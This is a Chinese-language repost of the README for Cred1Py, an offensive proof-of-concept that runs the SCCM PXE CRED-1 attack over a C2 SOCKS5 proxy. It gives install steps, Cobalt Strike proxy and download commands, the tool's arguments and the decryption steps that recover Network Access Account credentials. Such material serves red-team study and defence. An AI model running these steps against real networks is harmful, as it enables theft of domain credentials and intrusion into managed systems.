SOCKS5 上 CRED1 的 Python POC


SOCKS5 上 CRED1 的 Python POC

概述

这是一个用于通过 SOCKS5 连接(支持 UDP)利用 CRED-1 的工具。

安装

python3 -m venv env
source ./env/bin/activate
pip install -r requirements.txt

用法

要使用 Cred1Py:

通过你的C2启动SOCKS5代理,例如CS使用以下命令:

> socks 9090 socks5 enableNoAuth a b

然后我们可以使用以下命令调用 Cred1py:

python ./main.py <target> <src_ip> <socks_host> <socks_port>

在哪里:

  • 目标 – SCCM PXE 服务器 IP

  • SRC_IP-我们正在运行植入程序的受感染服务器的 IP 地址

  • SOCKS_HOST – 运行 SOCKS5 的团队服务器的 IP

  • SOCKS_PORT – SOCKS5 端口

为了帮助可视化参数中引用的组件:

SOCKS5 上 CRED1 的 Python POC

注意:由于 SOCKS5 的工作方式,C2 服务器需要在所有端口上都可供 Cred1py 访问,因为第二个临时端口是作为 UDP 流量中继的一部分打开的。最简单的方法通常是在 C2 服务器上运行 Cred1py 并定位目标localhost……但您可以自行决定!

CRED-1 攻击如何运作

CRED-1可分为以下步骤:

  1. 通过 UDP 4011 发送 PXE 映像的 DHCP 请求

  2. SCCM 使用图像路径和加密密钥进行响应,以解密引用的变量文件

在此阶段,通过 TFTP 下载两个文件,例如:

  1. 2024.09.03.23.35.22.0001.{FEF9DEEE-4C4A-43EF-92BF-2DD23F3CE837}.boot.var

  2. 2024.09.03.23.35.22.07.{FEF9DEEE-4C4A-43EF-92BF-2DD23F3CE837}.boot.bcd

接下来,CRED-1 获取 DHCP 响应中返回的加密密钥,并根据内容采取以下两条路径之一:

1.如果提供了加密密钥,则禁用基于密码的加密,因此运行密钥派生函数来生成 AES 密钥来解密变量文件

或者

2.如果没有提供加密密钥,则启用基于密码的加密,并从变量文件生成 HashCat 输出,以允许我们恢复加密密钥

一旦恢复(或提供)密钥,就可以解密变量文件,并使用其内容来检索网络访问帐户用户名/密码。

有关此次攻击的更多信息可以在错误配置管理器中找到。

Cred1Py 的工作原理

Cred1Py 尝试通过 SOCKS5 连接执行此流程,因为 UDP 支持是 SOCKS5 规范的一部分,并且包含在 Cobalt Strike 等产品中。

Cred1py 的实现与 PxeThiefy 等工具存在一些差异,因为 SOCKS5 限制了我们检索 TFTP 文件的能力(我们无法确定数据传输期间使用的源端口,因此无法下载超过几个字节的数据)。

这意味着 Cred1Py 的要求是:

  1. 启用 SOCKS5 执行的植入程序

  2. 能够与分发服务器建立 SMB 连接(这取代了 PxeThiefy 的 TFTP 组件)

一旦满足要求,Cred1Py:

  1. 发送 DHCP 请求以获取 PXE 映像和加密密钥

  2. 检索加密密钥材料

  3. 下载变量文件的前 512 个字节(可能是因为这是由 TFTP 服务器发送的,而没有建立需要源端口的 TID)

  4. 输出加密密钥或 hashcat 哈希,以及通过 DHCP 返回的引导变量文件的路径

此时,我们需要使用我们的 C2 来下载启动变量文件,例如在 Cobalt Strike 中我们可以使用:

download \sccmserver.lab.localREMINSTSMSTempBootFileName.boot.var

现在,如果您有一个要破解的密码,请破解它,然后将其作为参数传递给pxethiefy.py:

python ./pxethiefy.py decrypt -f /tmp/BootFileName.boot.var PASSWORD_HERE

但是,如果没有设置 PXE 密码,您将获得加密密钥。这需要添加到pxethiefy.py。最简单的方法是登录decrypt_media_file以pxethiefy.py使用二进制密钥,例如:

decrypt_media_file(args.mediafile, b’x41x42x43x44…….’):

boot.var然后我们使用 PxeThiefy.py通过任何旧密码调用,用我们恢复的密钥解密文件:

python ./pxethiefy.py decrypt -f /tmp/BootFileName.boot.var USE_THE_SOURCE_LUKE

致谢

  • Christopher Panayi,CRED-1 和 PxeThief OG 工具的原始研究员 – https://github.com/MWR-CyberSec/PXEThief

  • Carsten Sandker 和他的出色的 Pxethiefy.py 工具,此工具基于 – https://github.com/csandker/pxethiefy


项目地址:

https://github.com/SpecterOps/cred1py


感谢您抽出

SOCKS5 上 CRED1 的 Python POC

.

SOCKS5 上 CRED1 的 Python POC

.

SOCKS5 上 CRED1 的 Python POC

来阅读本文

SOCKS5 上 CRED1 的 Python POC

点它,分享点赞在看都在这里

原文始发于微信公众号(Ots安全):SOCKS5 上 CRED1 的 Python POC

版权声明:admin 发表于 2024年10月9日 上午10:44。
转载请注明:SOCKS5 上 CRED1 的 Python POC | CTF导航

相关文章